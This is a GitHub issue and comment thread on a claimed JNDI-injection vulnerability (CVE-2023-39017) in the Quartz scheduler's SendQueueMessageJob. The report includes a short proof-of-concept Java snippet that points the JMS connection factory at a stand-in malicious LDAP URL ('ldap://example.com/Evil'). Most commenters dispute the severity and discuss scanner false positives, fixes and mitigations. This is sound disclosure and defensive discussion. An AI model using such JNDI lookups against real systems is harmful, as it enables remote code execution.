Skip to content

API misuse of org.quartz.jobs.ee.jms.SendQueueMessageJob.execute would lead the code injection vulnerability. #943

Open

Description

@LetianYuan

Affected Version
The latest version 2.3.2 and below.

Describe the vulnerability
There is a method, org.quartz.jobs.ee.jms.SendQueueMessageJob.execute(JobExecutionContext), designed to send a jms message. However, passing an unchecked argument to this API can lead to the execution of arbitrary commands. For instance, following codes can lead to the execution of arbitrary commands from attackers:

        JobExecutionContext context = new JobExecutionContext() {
            ......

            @Override
            public JobDataMap getMergedJobDataMap() {
                JobDataMap map = new JobDataMap();
                map.put("jms.connection.factory", "ldap://example.com/Evil");
                return map;
            }

            ......
        };
        SendQueueMessageJob job = new SendQueueMessageJob();
        job.execute(context);

Root Cause and Potential Danger

The API is given more power than it should have, namely to just execute lookup without checking it. It violates the principle of least privilege. In this case, developers are not aware that the API used to send a jms message could execute arbitrary commands, leading to insufficient parameter validation and command execution.

We believe that this kind of implementation obscures the responsibility of security checks between the developers and the users of libraries, which has been confirmed by some developers. This issue is similar to the previously well-known Log4j2 vulnerability, where few developers knew that logging APIs could result in JNDI injection.

To Reproduce
First, establish an LDAP server and provide malicious code. Then, just execute above codes would reproduce it.

Fix Suggestion
Filter LDAP, RMI and related protocols when using lookup.

Activity

  1. carnil commented on Aug 1, 2023

    @carnil

    This issue seems to got assigned CVE-2023-39017

  2. ogross74 commented on Aug 1, 2023

    @ogross74

    hi falks. is there an ETA for this? also, are you going to fix this on top of 2.3.2 or part of 2.4.0?

  3. tinycage1026 commented on Aug 2, 2023

    @tinycage1026

    This vulnerability is also recorded by Black Duck. It is numbered as BDSA-2023-1984 and its level is high. The score is 8.9. When will this vulnerability be fixed?

  4. chadlwilson commented on Aug 4, 2023

    @chadlwilson

    I wonder if this was responsibly disclosed by some other means with more complete demonstration of the issue claimed? This seems incomplete and a bit speculative.

    At first glance, this seems a bit dubious to me, in both severity and validity - but happy to be educated.

    Does an "attacker" not need access to execute arbitrary code as a pre-requisite anyway, to populate the value of JobDataMap or customise JobExecutionContext? If they can do that, why would they stop here? They could write any kind of code?

    Is it reasonable to think that the JobDataMap and job context is going to source configuration from arbitrary user input as an attack vector?

    In canonical usage, I believe JobExecutionContextImpls are created by JobRunShells internally during initialization:

    this.jec = new JobExecutionContextImpl(scheduler, firedTriggerBundle, job);

    The JobDataMap is generally supplied via a JobDetail, and constructed via a JobBuilder like the below (or in the docs) - no need to subclass override like the PoC here.

    /**
    * Add the given key-value pair to the JobDetail's {@link JobDataMap}.
    *
    * @return the updated JobBuilder
    * @see JobDetail#getJobDataMap()
    */
    public JobBuilder usingJobData(String dataKey, Double value) {
    jobDataMap.put(dataKey, value);
    return this;
    }

    If folks are allowing untrusted user input into the construction of their JobDetail and JobDataMaps that configure JNDI+JMS in general, then that seems the real vulnerability to me.

  5. marcelstoer commented on Aug 4, 2023

    @marcelstoer

    this seems a bit dubious to me

    👍

    Does an "attacker" not need access to execute arbitrary code as a pre-requisite anyway

    Not necessarily I think. If you

    • replace the hard-coded map.put("jms.connection.factory", "ldap://example.com/Evil") with map.put("jms.connection.factory", jmsConnectionFactoryUrl) and
    • assume the value for jmsConnectionFactoryUrl is loaded from some configuration files

    then the attacker won't need to alter existing binary code but would need access to the system to change configuration. This then leads to the same question you asked: why would they stop here?

  6. chadlwilson commented on Aug 4, 2023

    @chadlwilson

    Fair point @marcelstoer - if an attacker has arbitrary access to alter code OR server side configuration you're in a dangerous place anyway, already breached by some other means.

  7. maxqch commented on Aug 4, 2023

    @maxqch

    Is it correct to say that this is only relevant if you are using the quartz-jobs artifact, and anyone just using quartz shouldn't be affected?

  8. marcelstoer commented on Aug 4, 2023

    @marcelstoer

    @maxqch we also noticed that the CPE matches any Quartz artifact and not just the affected one.

  9. astonbitecode commented on Aug 8, 2023

    @astonbitecode

    @maxqch we also noticed that the CPE matches any Quartz artifact and not just the affected one.

    @marcelstoer, in case someone has a dependency to just quartz, they don't even have org.quartz.jobs.ee.jms.SendQueueMessageJob in the classpath. How is it possible the vulnerability to be active?

  10. marcelstoer commented on Aug 8, 2023

    @marcelstoer
  11. astonbitecode commented on Aug 8, 2023

    @astonbitecode

    Thanks @marcelstoer. However, I was interested in the vulnerability itself, not the DependencyCheck-related discussion.

    @maxqch asked a question whether someone is still affected, even if they just use quartz and not quartz-jobs artifact.

    There is no explicit reply to this, instead the thumbs up reactions bellow the comment. I just wanted to be sure.

  12. marcelstoer commented on Aug 8, 2023

    @marcelstoer

    Sorry. I can't give you an authoritative answer to this as I didn't analyze it but it looks like the answer is no.

    It would actually be something the folks who raised the issue in the first place should answer. Them being quiet further contributes to the dubious nature of this whole thing.

  13. maxqch commented on Aug 8, 2023

    @maxqch
  14. MaroIsLife commented on Aug 10, 2023

    @MaroIsLife

    I'm fairly certain you're not affected if you're not pulling in the actual artifact that contains this class. I just suppressed this cve.

    I'd assume the CVE is detected if you're simply using org.quartz-scheduler dependency since all of quartz has a single CPE

  15. chadlwilson commented on Aug 10, 2023

    @chadlwilson

    I'd assume the CVE is detected if you're simply using org.quartz-scheduler dependency since all of quartz has a single CPE

    Correct, everything is cpe:2.3:a:softwareag:quartz:* in the NVD right now.

    Having said all this, even if you are using quartz-jobs, the CVSSv3.1 base score of 9.8 seems a bit indefensible to me, and not demonstrated by the so-called "exploit". For all of these impact metrics, NVD seem to have just taken things at face value that remote code execution is possible.

    It seems to be of very low value to trawl the internet for libraries that have Java Context.lookup usage (without specifically whitelisting protocols) without actually evaluating whether it is remotely reasonable to assume a library user might mistakenly pass a value from untrusted input.

    Anyway, it seems possible that the goal here is likely to be to gain "street cred" or buff up a resume by reporting many CVEs across projects any time it is possible to write code that allows configuration of a JNDI or LDAP URL via Context.lookup where JNDI injection is conceptually possible (entirely legitimate code to want to write, for the record, only dangerous in certain cases where a library user has no reason to believe something could be dangerous and is likely to pass data from user controlled input, e.g the log4j vulnerability).

    Unfortunately anyone can abuse the CVE process by reporting CVEs; since there is seemingly little validation going on for CVE entries and everything appears to be taken largely at face value from reporters by MITRE. NVD can't possibly have expertise in the millions of libraries out there when they assess severity. Disputing a CVE seems basically impossible unless you are a big project, or at least heavily stacked against software maintainers - "guilty until proven innocent, or maybe never" (I've tried via both MITRE and NVD before). The entire benefit of the doubt is mysteriously given to largely anonymous reporters - not to maintainers or users. I suspect you have to be a mega-company with brand at stake to have the resources/energy to get disputed CVEs removed or re-assessed.

    Even if this library did restrict ldap:// and rmi:// protocols, if you still allowed the connection factory to be passed from user controlled values, you'd be potentially allowing users to queue your jobs on their own malicious JMS servers which could exfiltrate your confidential data from your messages.

  16. 9 remaining items

  17. j-blandford commented on Oct 4, 2023

    @j-blandford

    @ilatypov i wish it worked like that. we have a seperate part of our organisation (Audit or whatever) which is forcing us to fix this. what a stupid system

  18. pcgeng commented on Oct 25, 2023

    @pcgeng

    I see there is a RC version: Quartz 2.4.0 RC2, will it resolve this vulnerability?

  19. j-blandford commented on Oct 25, 2023

    @j-blandford

    @pcgeng yes it fixes it for me (that was the recommended version provided by my tooling), but I'm getting lots of "Cast Exceptions for FileScanner" when trying to use it. The jobs work as expected, it just clutters my logs a LOT

  20. Dragas commented on Jan 12, 2024

    @Dragas

    So to trigger this vulnerability you need

    • Either
      • Permit arbitrary jms connection factory value (controlled by external party)
      • Permit arbitrary key values in job context
    • Use quartz-jobs artifact

    Am I reading this correctly?

  21. rbertucat commented on Feb 28, 2024

    @rbertucat

    I see there is a RC version: Quartz 2.4.0 RC2, will it resolve this vulnerability?

    We've updated to RC2 and used the OWASP Dependency-Check maven plugin and RC2 is still identified with known vulnerabilities:
    quartz-jobs-2.4.0-rc2.jar (pkg:maven/org.quartz-scheduler/quartz-jobs@2.4.0-rc2, cpe:2.3:a:softwareag:quartz:2.4.0:rc2:*:*:*:*:*:*) : CVE-2023-39017

    image

  22. danieljeremias commented on Mar 15, 2024

    @danieljeremias

    Is there a deadline to launch this fix?

  23. avmusa commented on Apr 11, 2024

    @avmusa

    Any idea of the date when the release build including CVE-2023-39017 fix will be published for v2.3.x?

  24. wilx commented on Nov 15, 2024

    @wilx

    Is this fixed by 2.4.0?

  25. Youli999 commented on Dec 11, 2024

    @Youli999

    Validating parameters during function call passing can solve the problem, right?

  26. mmellon commented on Apr 8, 2025

    @mmellon

    I think the real risk here is that naked LDAP can be spoofed. If you use ldaps: (LDAP over TLS) with stock TrustManager, then you have mitigated the spoofing risk. It would probably be sufficient to restrict the URI's to local addresses unless TLS is being used, but that will probably also break existing code. I bet there isn't really a good excuse to do RMI or LDAP without TLS if you are really concerned about security, except maybe overhead/performance. When my team does a STRIDE analysis, TLS is our go-to mitigation for spoofing, tampering, and information disclosure risks.

  27. jamesbtc47 commented on Oct 14, 2025

    @jamesbtc47

    hi guys, what version has a fix?
    as see the comment as version 2.4.0 RC2 still has an issue

  28. Dragas commented on Oct 14, 2025

    @Dragas
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    needs:reviewNeeds review / investigation

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions